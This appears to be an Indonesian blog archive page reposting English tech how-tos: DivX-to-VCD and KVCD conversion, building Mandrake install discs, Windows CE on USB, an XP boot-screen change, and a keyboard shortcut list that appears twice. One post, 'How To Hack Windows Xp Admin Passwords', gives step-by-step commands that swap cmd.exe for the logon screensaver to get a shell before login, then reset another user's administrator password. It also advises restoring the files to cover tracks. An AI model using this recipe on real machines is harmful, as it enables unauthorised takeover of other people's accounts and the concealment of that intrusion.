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Tampilkan postingan dengan label General Keyboard Shortcuts. Tampilkan semua postingan
Tampilkan postingan dengan label General Keyboard Shortcuts. Tampilkan semua postingan

Minggu, 04 Januari 2009

how to make a VCD from a DivX

Tools required: Latest Virtual dub, TMPGEnc and Nero ( and the DivX codecs.)




Preparing:


Download all tools, Be sure to install DivX 3.11 DivX4 and the latest DivX5 codecs.


Extracting the audio : Start Virtualdub. Open your video File->Open video file.(if you get any warnings just ignore them because you won't edit the video just extract the audio)


Select File->File Information and note the fps as the video source fps because you will need it later.


Select under Audio->Full processing mode.


Select Audio->Compression and select <No compression (PCM)>


Select Audio->Conversion.


Change the the Sampling rate to 44100Hz if you are going to make VCD or SVCD MPEGs.


Save the wav by clicking on File->Save WAV...the wav will be a huge audio uncompressed video file(about 10 MB/minute.


Encoding:


Start TMPEnc. Press cancel if the Project Wizard comes.


Press Browse… and select the DivX file as Video source input.


Now you press the Browse button for choosing the Audio source input and use the saved wav file.


Press load and load the file which in the Template directory of TMPGenc.


If the video source fps is 29,970 load VideoCD (NTSC).mcf


If the video source fps is 23,970 load VideoCD (NTSCFilm).mcf


If the video source fps is 25,000 load VideoCD (PAL).mcf


If the video source fps is anything else else just load NTSC if you live in US or Japan and PAL if you live anywhere else.


Note if you live in US or Japan and get problem playing PAL, often causing black and white TV playback problems, then first check if you can change to PAL on your TV or DVD Player if not then instead convert it to NTSC by loading the VideoCD(NTSC) template.


Note if you live Europe and the rest of the world and get problem playing NTSC or NTSCFilm, often causing black and white TV playback problems, then first check if you can change to PAL on your TV or DVD Player if not convert it to PAL by loading the VideoCD(Pal) template.


Press Settings and choose Advanced.


Select Full screen (keep aspect ratio) under Video arrange method to keep the same aspect ratio(widescreen,fullscreen) as the video source(if you have a widescreen movie and you want it to be in fullscreen select No margin(keep aspect ratio).


Select Source range and double-click on it with the mouse.


In the next dialog you can choose the source range. This process depends on the DivX file. If the DivX file is less than 80min (for a 80min/700mb CDR) then you do not have to split the file to two CDs. Also if the DivX file is already in two parts you have just to convert the first file and then the second. But if there should be the case that the movie is in one file over 80minutes long then it is necessary to select the source range. In this new dialog you put the horizontal scrollbar to the middle of the selection so that you will get the same length on the first CD as on the second. After you selected the middle do you have press Set end frame. A new value should be under End Frame. This value you should notice somewhere for the encoding of the second part. Of course the start frame must be 0.


After pressing ok, you only have to select the output file name. I prefer the movie name with the CD number (e.g. Ghost in the Shell CD1) for the burning.


Now encode the file by pressing the Start-Button.


While encoding you can select File->Preview(it won't effect the encoding) to see how the output will be, it it looks wrong(widescreen or fullscreen) you can stop the encoding and start over and change especially the Settings->Advanced->Video arange method.)


If you only want to burn the movie on one CD jump to the burning guide else follow the next points.


Repeat the third, forth and fifth point. In the source range dialog you now use as Start frame the noticed value and move with the horizontal scrollbar to the end of the movie.


After pressing Set end frame, press two times OK.


Now select the output filename for the second file. (e.g. Ghost in the Shell CD2) and encode it.


After the encoding is done and you did all right, you should have for every CD a file.


Burning:


Launch Nero.Close the Wizard. Select File->New.


1. Select VideoCD


2. Select PAL or NTSC depending what format your source MPEG is in.


3. And hit New.


1. Locate your .mpg and drag it(see picture below). Remember that you can add several .mpgs also, each mpg will be a own track on the VCD and you can add data files also, just drag them to any folder.


2. Check the time. It should be the same as in the movie.


3. Rename the CD to anything you like by clicking F2 on NEW.


4. Select File->Write CD.




don't know about everyone else.. but the only options i choose on tmpgenc to make mpeg-1 files are either NTSC film 23.976, or NTSC video 29.97 fps..


i also live in the u.s. so i do all of mine accordingly.. why do you save the wave file with virtual dub.. or should i say, why do you even process the divx file with vdub.. yeah if it is your last resort and the divx for some reason doesn't open in tmpgenc.. i've got 180+ Divx movies, some downloaded mostly ripped, never had a problem encoding them with tmpgenc plus.


just seems like you are going from your a$$ to your elbow to do this.


1. take divx movie (120 minutes long for example).. open with vdub.. find a keyframe about halfway through the film, preferrably at a scene change.


choose "SET SELECTION START" from the EDIT menu.. scroll all the way to the end of the film, choose "SET SELECTION END"... hit DELETE or choose "DELETE SELECTION", all from the EDIT menu


2. Now you have 1 half of your movie. under the VIDEO menu, choose "DIRECT STREAM COPY", also make sure that under AUDIO is going to generate a "DIRECT STREAAM COPY". Then go to FILE and choose "SAVE as AVI..."


on a newer computer this will take less than 2 minutes..


3. When it is complete, the quickest way to proceed is to just click on FILE / "OPEN VIDEO FILE". at the beginning of the clip, choose "SET SELECTION START" again, snap back to the keyframe (half way through the film) which you cut half the film off at and choose "SET SELECTION END". DELETE... FILE / "SAVE AS AVI..." save as the other half of film..


once again, will usually take less than 2 minutes...


4. choose option accordingly, this next part can be important.. (i'm going to give the rest of the instructions as if you were making ntsc movie)


since you want to make a standard mpeg-1 file, choose NTSC FILM or NTSC VIDEO.. BROWSE for your file, then hit NEXT, then it OTHER SETTINGS / ADVANCED tab ... now there is an option that says "VIDEO ARRANGE METHOD".. if you are making a fullscreen movie, lleave on FULLSCREEN.. if you are encoding a widescreen movie, choose "FULL SCREEN (KEEP ASPECT RATIO).. OK / NEXT / NEXT (you get the point)


basically takes 1 step out of the tutorial above.. the instructions for nero appear to be correct.. but here's another tip..


dvd burners are becoming more and more popular and even i got one now, like many of you do. tired of old vcd's or wanna encode a VCD standard DVD with nearly 9 hours of video (but same quality as normal 80 minute VCD),


if this is the case, make sure you encode your DivX files as "NTSC VIDEO 29.97 FPS".. even if source is 23 fps... and once you have 3 or 4 movies, get yourself a proggy called TMPGENC DVD AUTHOR.. make a track for each movie.. and you got yourself a dvd with 3 or 4 average length movies on 1 dvd (with menus if you like) that is WAY MORE COMPATIBLE than a VCD..


do a search for the keyword VCD-DVD and i posted a more descriptive tutorial on how to do this..

how to make a new web site

how to make a new web site


WWW.blogger.com


easy and simple to make a web blog fast to try.......


http://www.make-a-web-site.com/


http://www.pagetutor.com/pagetutor/makapage/index.html


www.webmonkey.com


Colour Palletes


http://colormatch.dk


HTMLlock <---Need


http://www.devside.net


http://www.devside.net/download/crypto/disclaimer1.html


well, if you want text seperate from image, you could just do this:




<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">


<td><td>


your text here, it's totally fun, yeah yeah yeah


</td><td>


<img src="your picture here">


</td></tr>


</table>


if you want to have the image on the left side, and text on the right side, just reverse the code like so:




<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">


<td valign="bottom" align="left">


<img src="your picture here">


</td>


<td><td>


your text here, it's totally fun, yeah yeah yeah


</td></tr>


</table>

How To Make A Kvcd

how to make a kvcd or in other words how to get 700meg avi file down to about 450megs to make


a vcd without any picture loss


so youve download a movie its in avi format you want to watch it on your dvd player so


you reencode it it comes out to about 1100 maybe 1200 megs so you got to split it and save on


2 disks well the following tut will show you how to do it on one disk


first you are going to need some tools


virtualdub


CODE


http://heanet.dl.sourceforge.net/sourceforge/virtualdub/VirtualDub-1.5.10.zip




heada3che


CODE


http://mitglied.lycos.de/darkav/download/headac3he-0.23a.rar




and some dlls


CODE


http://mitglied.lycos.de/darkav2/download/MPAlib_MMX-1.00(1.50).rar


http://mitglied.lycos.de/darkav2/download/ssrc_MMX-1.01(1.28).rar


http://mitglied.lycos.de/darkav2/download/Vorbis_MMX-1.20(1.74).rar


http://mitglied.lycos.de/darkav2/download/Lame_enc_MMX-1.28(3.93).rar


http://mitglied.lycos.de/darkav2/download/MP2enc_MMX-1.15(1.13).rar


put the above dlls in the same folder as heada3che


besweet


CODE


http://dspguru.notrace.dk/BeSweetv1.4.zip


http://dspguru.notrace.dk/BeSweetGUIv0.6.zip


put these 2 in the same folder


you will have to have nero as well but im hoping you have that already if not it on this forum


tmpegnc


again its on this forum


you will need some templates


CODE


http://www.kvcd.net/dvd-models.html




right click all the pal templates if your dvd player is pal or ntsc if ntsc


save them to the template folder in the tmpegnc folder




so to begin


open virtualdub


goto file


open video file


locate the avi file you want to convert


if you get a warning ignore it


click the audio button at the top


make sure source audio and direct stream copy have a black dot next to it


goto file


save wav


now you have to call this with a .ac3 extension


for example view from the top.ac3


i would save this in the same file your avi is


so youve named it press save


box will open let it do its thing this is taking the sound from the film


now press audio and select no audio


you should have a black dot next to no audio and direct stream copy


goto video


select direct stream copy


goto file save as avi


save the file what you want again put in the same folder as the original avi


to make life easier i call mine the film title no sound ie viewfromthetopnosound


press save


this is now saving the film without sound


you can now close virtualdub


open besweet


scary looking box appears


dont worry heres what to do


at the besweet.exe locate the besweet folder it will show besweet.exe in the enter file name box


click on this and at the bottom it will say valid press ok


now goto input and find the ac3 file we just made you will need to change the enter file name from .Lst to .ac3


double click on the ac3 file you made and at the bottom it will say valid press ok


now looking at the gui make sure Use ac3 decoder is tick


downconvert sample rate is ticked


in the toolame dropdown box make sure it says mp2 leave the rest alone


now press copy command to clipboard


goto start


run


and right click paste


press ok


if all the settings are correct a black box will open and the ac3 will be transcoding to mp2


if not check the boxes are ticked


if ok leave it to do its thing


once the black box has disappered close besweet


open heada3che


hopefully you put all the dlls in the heada3che folder other wise you will get error messages


so make sure you do that


done it ok lets go


press source file


find the new mp2 file we just made


change the destination format to mp2


press start


thats it once its finished close headac3he


for your info


things are going to start looking messy inside your folder so if you want


you can delete some things


goto the folder where youre original avi file is


you can delete the ac3 file


and the mp2 file without the .2 in it


ie you will have two file names the same one with .2 on the end keep this one


this is so we dont get confused later


open tmpegnc


close the wizard if it opens


press the video source browse button


find the file we made with nosound on the end ie viewfromthetopnosound


now if you had gone to the kvcd page and downloaded all the templates this will help


if not go do that now


done it right lets go


now im afraid im not in front of your pc doing this for you so i hope i explain well


press load


you will see a load of files in front of you some starting with kvcd


right this is trial and error stuff now pick the first one begining with kvcd highlight it press open


now press start what will happen is the preview box in front of you will start encoding


now depending on the make up of the original avi file will effect the outcome of the finished film


so if you look at the box and all you see is a tiny box with film thats the size it will come out


if it looks weird press stop and reload a different template the best result is one that looks like widescreen


i hope that made sense


just press start and overwrite the file


any way let it do its thing depending on your pc specs depends how long this takes


so lets assume its done


press file mpeg tools the first box should be simple multiplex press the video input browse button


and find the new file we just made it will have a m1v extension


press the audio input browse button find the mp2 file with the .2 in the title the output


box will be automatically set to mpeg


press run


let it do its thing


close tmpgenc


open nero


select vcd


untick the create standard compliant cd


press new


find the new file we have made it will be in the original avi folder but will have a mpeg extension


now you have to drag this into the left box dont right click and copy to compliation


a box will appear and a blue line will go across if a warning comes up with not being a compliant vcd ignore carry on


press burn and burn at the speed you want


once finished press the ok box


press done the disk will come out and now to test


put it in your dvd player and hay presto the film kicks in


depending if your dvd player can play vcds that is


0NLY3DUC4T10N

How To Make 5cds, 10cds Or 2dvds From Official Dow, These are same as Mandrake PowerPack+

Download the full official tree. It comes in at over 5 gig. The full tree includes the usual mandrake, 3 gig of extra apps under contrib and 330meg of java apps under contrib/jpackage.


After downloading I have successfully created 4 versions including the Hard Drive Installation.


1) Hard Drive/Network/FTP Install (same thing)


2) 10 CD version including everything


3) 5 CD Version (use to be 4 CDs. This will eventually be the ISO download)


4) 2 DVD Version which includes everything int the 10 CD Version.


Additionally I have discovered that Mandrake is stressing everyone for no apparent reason. The much talked about 8 meg boot.iso file that is needed to be able to boot and chose your method of installation, is no different from the regular boot files that come on CD1 of any version.


The only thing you have to do is to edit the file "isolinux.cfg" in the isolinux folder. Inside the file, remove all instances of "automatic=method:cdrom" and save the file. Then create the images for whichever "version" of mdk10 that you choose. To create the different versions that I have listed above you have to do 2 things first:


1) edit the "hdlist" file in the "Mandrake/base" folder. In this file you will find a list of all the hdlist.cz files needed to build a particular version. Remove the 3 lines for "SRPM" files. Now depending on which version you want to create, the 10CD and the DVD versions will have 3 lines.


a) hdlist.cz Mandrake/RPMS Installation CD


hdlist2.cz Mandrake/RPMS2 Contrib CD


c) hdlist3.cz Mandrake/RPMS3 Jpackage.org


take note of the paths above. if you downloaded the whole tree like I did, you will have these folders. The RPMS folder is the standard 4 or 5 CD download version. The RPMS2 and RPMS3 folders added to the RPMS folder make the 10CD and DVD version. So to make the 5CD version, remove the last two lines. Dont forget to backup the original "hdlists" file.


2) To make the 10 CD or 2 DVD version, use the "mkcd"command below. Use 716800000 discsize for the 10CD version and 4000000000 for the 2 DVD version. When the command finishes, the images will be in the directory you specified after the -t option.


To make the 5CD version, move the folders "RPMS2" and RPMS3" someplace safe and don't forget to remove the last two lines in the "hdlists" file as described above. The RPMS2 and RPMS3 folders are only links so it should take no time at all to move them. Then use 716800000 discsize and run the "mkcd" command. Don't forget to move the RPMS2 and RPMS3 folders back to their original location when you finish your 5CD images.


Also rememeber that you will need plenty of disc space if you wantto keep all the images for all version on your hard drive. I have the 10CD, 5CD, 2 DVD and the HD install files all on my hard rive and they take up 23GIG.


mkcd --discsize 716800000 -t ./5CD-Version -a -s ./hdinstall


--discsize is the size of the image you want to make in bytes. the above figure is for a 700M CD. I used 4000000000 (9 zeroes) to make 2 DVDs.


-t <path to where yu want to make the images>


-a means automatic creation based on the hdlist files and the downloaded directory structure. It keeps you from having to use many other ugly options on the command line.


-s <source directory of mdk10> this is the top fodler not thr RPM folder. This top folder will have the "Mandrake" folder in it.


original Link


CODE


http://linuxiso.org/forums/viewtopic.php?t=18140

How to Install and run Windows CE on your USB Stick

How to: Install and run Windows CE on your USB Stick


Portable Windows CE is a 'launcher' for the Windows CE device emulator that can run an emulator-based image from a USB keychain.


Download the Windows CE 5.0 Device Emulator.


Code:


http://www.Mcft.com/downloads/details.aspx?FamilyID=A120E012-CA31-4BE9-A3BF-B9BF4F64CE72&displaylang=en


Change "Mcft" in link to what it is supposed to be icon_wink.gif


Extract the emulator to a folder on your hard drive by running "setup /a". The installer will prompt you to specify a directory to extract to . For example: D:\PortableCE


Download this launcher script:


Code:


http://www.furrygoat.com/Software/launchce.cmd.txt




Copy the following launcher script to the directory you extracted the setup to. You'll need to rename the file from launchce.cmd.txt to launchce.cmd


Once you have that set up, just copy the entire D:\PortableCE folder over to your USB keychain.


To launch the emulator, just plug in your USB keychain, navigate to the PortableCE folder, and run launchce.cmd. You should (hopefully) have the emulator fire up.

How to hack-change your Windows XP Boot Screen

How to hack/change your Windows XP Boot Screen


HACKING THE XP BOOT SCREEN


This is a very simple trick to do if you have done the same for the logon screen and the start button. There are 2 ways to do this trick that I know about one is doing it manually and the other is using a program called bootxp. I am going to tell you the manual way to do it, but if you want to know the other way just let me know, so I can do an update to the guide. Now once you have downloaded your ntoskrnl.exe file save it a general location so that you will have easy access to it, like my folder.


Once you have ntoskrnl.exe file in an easy access folder, restart your pc into safe mode. Once into safe mode go to the folder where your files are located.


Now that you are there copy the file that you want to change your boot screen too. Once you have copied that file, hit the window key + r or type %windir%\system32 in the run command, so that folder as follows.


Once there paste your new file into the folder and overwrite the existing folder.


Now that you have your new file in the folder restart your pc as you normally would and your new boot screen should appear. You can download this bootscreen here.


ALWAYS BACKUP EVERYTHING YOU EDIT OR DELETE. I'M NOT RESPONSIBLE IF YOU MESS YOUR COMPUTER UP BY DOING THIS HACK OR ANY TYPE OF HACK. DO IT AT YOUR OWN RISK.


Image and ntoskrnl.exe files provided by www.themexp.org


or


u can go to


code:


http://www.overclockersclub.com/guides/hackxpbootscreen.php


onlyeducation

How To Hack Windows Xp Admin Passwords

How to hack Windows XP Admin Passwords the easy way by Estyle, Jaoibh


and Azrael.


------------------------------------------------------------------------------


This hack will only work if the person that owns the machine


has no intelligence. This is how it works:


When you or anyone installs Windows XP for the first time your


asked to put in your username and up to five others.


Now, unknownst to a lot of other people this is the only place in


Windows XP that you can password the default Administrator Diagnostic


Account. This means that to by pass most administrators accounts


on Windows XP all you have to do is boot to safe mode by pressing F8


during boot up and choosing it. Log into the Administrator Account


and create your own or change the password on the current Account.


This only works if the user on setup specified a password for the


Administrator Account.


This has worked for me on both Windows XP Home and Pro.


-----------------------------------------------------------------------------


Now this one seems to be machine dependant, it works randomly(don't know why)


If you log into a limited account on your target machine and open up a dos prompt


then enter this set of commands Exactly:


(this appeared on www.astalavista.com a few days ago but i found that it wouldn't work


on the welcome screen of a normal booted machine)


-----------------------------------------------------------------------------


cd\ *drops to root


cd\windows\system32 *directs to the system32 dir


mkdir temphack *creates the folder temphack


copy logon.scr temphack\logon.scr *backsup logon.scr


copy cmd.exe temphack\cmd.exe *backsup cmd.exe


del logon.scr *deletes original logon.scr


rename cmd.exe logon.scr *renames cmd.exe to logon.scr


exit *quits dos


-----------------------------------------------------------------------------


Now what you have just done is told the computer to backup the command program


and the screen saver file, then edits the settings so when the machine boots the


screen saver you will get an unprotected dos prompt with out logging into XP.


Once this happens if you enter this command minus the quotes


"net user <admin account name here> password"


If the Administrator Account is called Frank and you want the password blah enter this


"net user Frank blah"


and this changes the password on franks machine to blah and your in.


Have fun


p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks


Any updates, Errors, Suggestions or just general comments mail them to either


goodluck...only education

Minggu, 14 September 2008

General Keyboard Shortcuts, General Keyboard Shortcuts

General Keyboard Shortcuts, General Keyboard Shortcuts


General Keyboard Shortcuts


CTRL+C (Copy)


CTRL+X (Cut)


CTRL+V (Paste)


CTRL+Z (Undo)


DELETE (Delete)


SHIFT+DELETE (Delete the selected item permanently without placing the item in the Recycle Bin)


CTRL while dragging an item (Copy the selected item)


CTRL+SHIFT while dragging an item (Create a shortcut to the selected item)


F2 key (Rename the selected item)


CTRL+RIGHT ARROW (Move the insertion point to the beginning of the next word)


CTRL+LEFT ARROW (Move the insertion point to the beginning of the previous word)


CTRL+DOWN ARROW (Move the insertion point to the beginning of the next paragraph)


CTRL+UP ARROW (Move the insertion point to the beginning of the previous paragraph)


CTRL+SHIFT with any of the arrow keys (Highlight a block of text)


SHIFT with any of the arrow keys (Select more than one item in a window or on the desktop, or select text in a document)


CTRL+A (Select all)


F3 key (Search for a file or a folder)


ALT+ENTER (View the properties for the selected item)


ALT+F4 (Close the active item, or quit the active program)


ALT+ENTER (Display the properties of the selected object)


ALT+SPACEBAR (Open the shortcut menu for the active window)


CTRL+F4 (Close the active document in programs that enable you to have multiple documents open simultaneously)


ALT+TAB (Switch between the open items)


ALT+ESC (Cycle through items in the order that they had been opened)


F6 key (Cycle through the screen elements in a window or on the desktop)


F4 key (Display the Address bar list in My Computer or Windows Explorer)


SHIFT+F10 (Display the shortcut menu for the selected item)


ALT+SPACEBAR (Display the System menu for the active window)


CTRL+ESC (Display the Start menu)


ALT+Underlined letter in a menu name (Display the corresponding menu)


Underlined letter in a command name on an open menu (Perform the corresponding command)


F10 key (Activate the menu bar in the active program)


RIGHT ARROW (Open the next menu to the right, or open a submenu)


LEFT ARROW (Open the next menu to the left, or close a submenu)


F5 key (Update the active window)


BACKSPACE (View the folder one level up in My Computer or Windows Explorer)


ESC (Cancel the current task)


SHIFT when you insert a CD-ROM into the CD-ROM drive (Prevent the CD-ROM from automatically playing)


Dialog Box Keyboard Shortcuts


CTRL+TAB (Move forward through the tabs)


CTRL+SHIFT+TAB (Move backward through the tabs)


TAB (Move forward through the options)


SHIFT+TAB (Move backward through the options)


ALT+Underlined letter (Perform the corresponding command or select the corresponding option)


ENTER (Perform the command for the active option or button)


SPACEBAR (Select or clear the check box if the active option is a check box)


Arrow keys (Select a button if the active option is a group of option buttons)


F1 key (Display Help)


F4 key (Display the items in the active list)


BACKSPACE (Open a folder one level up if a folder is selected in the Save As or Open dialog box)


Microsoft Natural Keyboard Shortcuts


Windows Logo (Display or hide the Start menu)


Windows Logo+BREAK (Display the System Properties dialog box)


Windows Logo+D (Display the desktop)


Windows Logo+M (Minimize all of the windows)


Windows Logo+SHIFT+M (Restore the minimized windows)


Windows Logo+E (Open My Computer)


Windows Logo+F (Search for a file or a folder)


CTRL+Windows Logo+F (Search for computers)


Windows Logo+F1 (Display Windows Help)


Windows Logo+ L (Lock the keyboard)


Windows Logo+R (Open the Run dialog box)


Windows Logo+U (Open Utility Manager)


Accessibility Keyboard Shortcuts


Right SHIFT for eight seconds (Switch FilterKeys either on or off)


Left ALT+left SHIFT+PRINT SCREEN (Switch High Contrast either on or off)


Left ALT+left SHIFT+NUM LOCK (Switch the MouseKeys either on or off)


SHIFT five times (Switch the StickyKeys either on or off)


NUM LOCK for five seconds (Switch the ToggleKeys either on or off)


Windows Logo +U (Open Utility Manager)


Windows Explorer Keyboard Shortcuts


END (Display the bottom of the active window)


HOME (Display the top of the active window)


NUM LOCK+Asterisk sign (*) (Display all of the subfolders that are under the selected folder)


NUM LOCK+Plus sign (+) (Display the contents of the selected folder)


NUM LOCK+Minus sign (-) (Collapse the selected folder)


LEFT ARROW (Collapse the current selection if it is expanded, or select the parent folder)


RIGHT ARROW (Display the current selection if it is collapsed, or select the first subfolder)


Shortcut Keys for Character Map


After you double-click a character on the grid of characters, you can move through the grid by using the keyboard shortcuts:


RIGHT ARROW (Move to the right or to the beginning of the next line)


LEFT ARROW (Move to the left or to the end of the previous line)


UP ARROW (Move up one row)


DOWN ARROW (Move down one row)


PAGE UP (Move up one screen at a time)


PAGE DOWN (Move down one screen at a time)


HOME (Move to the beginning of the line)


END (Move to the end of the line)


CTRL+HOME (Move to the first character)


CTRL+END (Move to the last character)


SPACEBAR (Switch between Enlarged and Normal mode when a character is selected)


Microsoft Management Console (MMC) Main Window Keyboard Shortcuts


CTRL+O (Open a saved console)


CTRL+N (Open a new console)


CTRL+S (Save the open console)


CTRL+M (Add or remove a console item)


CTRL+W (Open a new window)


F5 key (Update the content of all console windows)


ALT+SPACEBAR (Display the MMC window menu)


ALT+F4 (Close the console)


ALT+A (Display the Action menu)


ALT+V (Display the View menu)


ALT+F (Display the File menu)


ALT+O (Display the Favorites menu)


MMC Console Window Keyboard Shortcuts


CTRL+P (Print the current page or active pane)


ALT+Minus sign (-) (Display the window menu for the active console window)


SHIFT+F10 (Display the Action shortcut menu for the selected item)


F1 key (Open the Help topic, if any, for the selected item)


F5 key (Update the content of all console windows)


CTRL+F10 (Maximize the active console window)


CTRL+F5 (Restore the active console window)


ALT+ENTER (Display the Properties dialog box, if any, for the selected item)


F2 key (Rename the selected item)


CTRL+F4 (Close the active console window. When a console has only one console window, this shortcut closes the console)


Remote Desktop Connection Navigation


CTRL+ALT+END (Open the Microsoft Windows NT Security dialog box)


ALT+PAGE UP (Switch between programs from left to right)


ALT+PAGE DOWN (Switch between programs from right to left)


ALT+INSERT (Cycle through the programs in most recently used order)


ALT+HOME (Display the Start menu)


CTRL+ALT+BREAK (Switch the client computer between a window and a full screen)


ALT+DELETE (Display the Windows menu)


CTRL+ALT+Minus sign (-) (Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PRINT SCREEN on a local computer.)


CTRL+ALT+Plus sign (+) (Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing ALT+PRINT SCREEN on a local computer.)


Microsoft Internet Explorer Navigation


CTRL+B (Open the Organize Favorites dialog box)


CTRL+E (Open the Search bar)


CTRL+F (Start the Find utility)


CTRL+H (Open the History bar)


CTRL+I (Open the Favorites bar)


CTRL+L (Open the Open dialog box)


CTRL+N (Start another instance of the browser with the same Web address)


CTRL+O (Open the Open dialog box, the same as CTRL+L)


CTRL+P (Open the Print dialog box)


CTRL+R (Update the current Web page)


CTRL+W (Close the current window)General Keyboard Shortcuts, General Keyboard Shortcuts


General Keyboard Shortcuts


CTRL+C (Copy)


CTRL+X (Cut)


CTRL+V (Paste)


CTRL+Z (Undo)


DELETE (Delete)


SHIFT+DELETE (Delete the selected item permanently without placing the item in the Recycle Bin)


CTRL while dragging an item (Copy the selected item)


CTRL+SHIFT while dragging an item (Create a shortcut to the selected item)


F2 key (Rename the selected item)


CTRL+RIGHT ARROW (Move the insertion point to the beginning of the next word)


CTRL+LEFT ARROW (Move the insertion point to the beginning of the previous word)


CTRL+DOWN ARROW (Move the insertion point to the beginning of the next paragraph)


CTRL+UP ARROW (Move the insertion point to the beginning of the previous paragraph)


CTRL+SHIFT with any of the arrow keys (Highlight a block of text)


SHIFT with any of the arrow keys (Select more than one item in a window or on the desktop, or select text in a document)


CTRL+A (Select all)


F3 key (Search for a file or a folder)


ALT+ENTER (View the properties for the selected item)


ALT+F4 (Close the active item, or quit the active program)


ALT+ENTER (Display the properties of the selected object)


ALT+SPACEBAR (Open the shortcut menu for the active window)


CTRL+F4 (Close the active document in programs that enable you to have multiple documents open simultaneously)


ALT+TAB (Switch between the open items)


ALT+ESC (Cycle through items in the order that they had been opened)


F6 key (Cycle through the screen elements in a window or on the desktop)


F4 key (Display the Address bar list in My Computer or Windows Explorer)


SHIFT+F10 (Display the shortcut menu for the selected item)


ALT+SPACEBAR (Display the System menu for the active window)


CTRL+ESC (Display the Start menu)


ALT+Underlined letter in a menu name (Display the corresponding menu)


Underlined letter in a command name on an open menu (Perform the corresponding command)


F10 key (Activate the menu bar in the active program)


RIGHT ARROW (Open the next menu to the right, or open a submenu)


LEFT ARROW (Open the next menu to the left, or close a submenu)


F5 key (Update the active window)


BACKSPACE (View the folder one level up in My Computer or Windows Explorer)


ESC (Cancel the current task)


SHIFT when you insert a CD-ROM into the CD-ROM drive (Prevent the CD-ROM from automatically playing)


Dialog Box Keyboard Shortcuts


CTRL+TAB (Move forward through the tabs)


CTRL+SHIFT+TAB (Move backward through the tabs)


TAB (Move forward through the options)


SHIFT+TAB (Move backward through the options)


ALT+Underlined letter (Perform the corresponding command or select the corresponding option)


ENTER (Perform the command for the active option or button)


SPACEBAR (Select or clear the check box if the active option is a check box)


Arrow keys (Select a button if the active option is a group of option buttons)


F1 key (Display Help)


F4 key (Display the items in the active list)


BACKSPACE (Open a folder one level up if a folder is selected in the Save As or Open dialog box)


Microsoft Natural Keyboard Shortcuts


Windows Logo (Display or hide the Start menu)


Windows Logo+BREAK (Display the System Properties dialog box)


Windows Logo+D (Display the desktop)


Windows Logo+M (Minimize all of the windows)


Windows Logo+SHIFT+M (Restore the minimized windows)


Windows Logo+E (Open My Computer)


Windows Logo+F (Search for a file or a folder)


CTRL+Windows Logo+F (Search for computers)


Windows Logo+F1 (Display Windows Help)


Windows Logo+ L (Lock the keyboard)


Windows Logo+R (Open the Run dialog box)


Windows Logo+U (Open Utility Manager)


Accessibility Keyboard Shortcuts


Right SHIFT for eight seconds (Switch FilterKeys either on or off)


Left ALT+left SHIFT+PRINT SCREEN (Switch High Contrast either on or off)


Left ALT+left SHIFT+NUM LOCK (Switch the MouseKeys either on or off)


SHIFT five times (Switch the StickyKeys either on or off)


NUM LOCK for five seconds (Switch the ToggleKeys either on or off)


Windows Logo +U (Open Utility Manager)


Windows Explorer Keyboard Shortcuts


END (Display the bottom of the active window)


HOME (Display the top of the active window)


NUM LOCK+Asterisk sign (*) (Display all of the subfolders that are under the selected folder)


NUM LOCK+Plus sign (+) (Display the contents of the selected folder)


NUM LOCK+Minus sign (-) (Collapse the selected folder)


LEFT ARROW (Collapse the current selection if it is expanded, or select the parent folder)


RIGHT ARROW (Display the current selection if it is collapsed, or select the first subfolder)


Shortcut Keys for Character Map


After you double-click a character on the grid of characters, you can move through the grid by using the keyboard shortcuts:


RIGHT ARROW (Move to the right or to the beginning of the next line)


LEFT ARROW (Move to the left or to the end of the previous line)


UP ARROW (Move up one row)


DOWN ARROW (Move down one row)


PAGE UP (Move up one screen at a time)


PAGE DOWN (Move down one screen at a time)


HOME (Move to the beginning of the line)


END (Move to the end of the line)


CTRL+HOME (Move to the first character)


CTRL+END (Move to the last character)


SPACEBAR (Switch between Enlarged and Normal mode when a character is selected)


Microsoft Management Console (MMC) Main Window Keyboard Shortcuts


CTRL+O (Open a saved console)


CTRL+N (Open a new console)


CTRL+S (Save the open console)


CTRL+M (Add or remove a console item)


CTRL+W (Open a new window)


F5 key (Update the content of all console windows)


ALT+SPACEBAR (Display the MMC window menu)


ALT+F4 (Close the console)


ALT+A (Display the Action menu)


ALT+V (Display the View menu)


ALT+F (Display the File menu)


ALT+O (Display the Favorites menu)


MMC Console Window Keyboard Shortcuts


CTRL+P (Print the current page or active pane)


ALT+Minus sign (-) (Display the window menu for the active console window)


SHIFT+F10 (Display the Action shortcut menu for the selected item)


F1 key (Open the Help topic, if any, for the selected item)


F5 key (Update the content of all console windows)


CTRL+F10 (Maximize the active console window)


CTRL+F5 (Restore the active console window)


ALT+ENTER (Display the Properties dialog box, if any, for the selected item)


F2 key (Rename the selected item)


CTRL+F4 (Close the active console window. When a console has only one console window, this shortcut closes the console)


Remote Desktop Connection NavigationN


CTRL+ALT+END (Open the Microsoft Windows NT Security dialog box)


ALT+PAGE UP (Switch between programs from left to right)


ALT+PAGE DOWN (Switch between programs from right to left)


ALT+INSERT (Cycle through the programs in most recently used order)


ALT+HOME (Display the Start menu)


CTRL+ALT+BREAK (Switch the client computer between a window and a full screen)


ALT+DELETE (Display the Windows menu)


CTRL+ALT+Minus sign (-) (Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PRINT SCREEN on a local computer.)


CTRL+ALT+Plus sign (+) (Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing ALT+PRINT SCREEN on a local computer.)


Microsoft Internet Explorer Navigation


CTRL+B (Open the Organize Favorites dialog box)


CTRL+E (Open the Search bar)


CTRL+F (Start the Find utility)


CTRL+H (Open the History bar)


CTRL+I (Open the Favorites bar)


CTRL+L (Open the Open dialog box)


CTRL+N (Start another instance of the browser with the same Web address)


CTRL+O (Open the Open dialog box, the same as CTRL+L)


CTRL+P (Open the Print dialog box)


CTRL+R (Update the current Web page)


CTRL+W (Close the current window)